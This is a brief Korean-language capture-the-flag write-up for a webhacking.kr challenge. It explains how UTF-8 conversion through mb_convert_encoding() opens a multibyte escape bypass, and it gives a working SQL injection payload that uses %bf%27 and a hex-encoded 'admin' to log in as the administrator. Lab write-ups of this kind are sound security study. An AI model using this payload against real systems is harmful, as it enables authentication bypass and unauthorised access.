write-up/webhacking.kr
50번 문제와같이 mb_convert_encoding() 함수를 이용하여 utf-8로 언어셋을 바꾸고 있다.
멀티바이트 언어셋이다.
쿼리문이 단순히 id='admin'인 레코드를 가져오므로,
?id=%bf%27 or id=0x61646d696e#&pw=guest
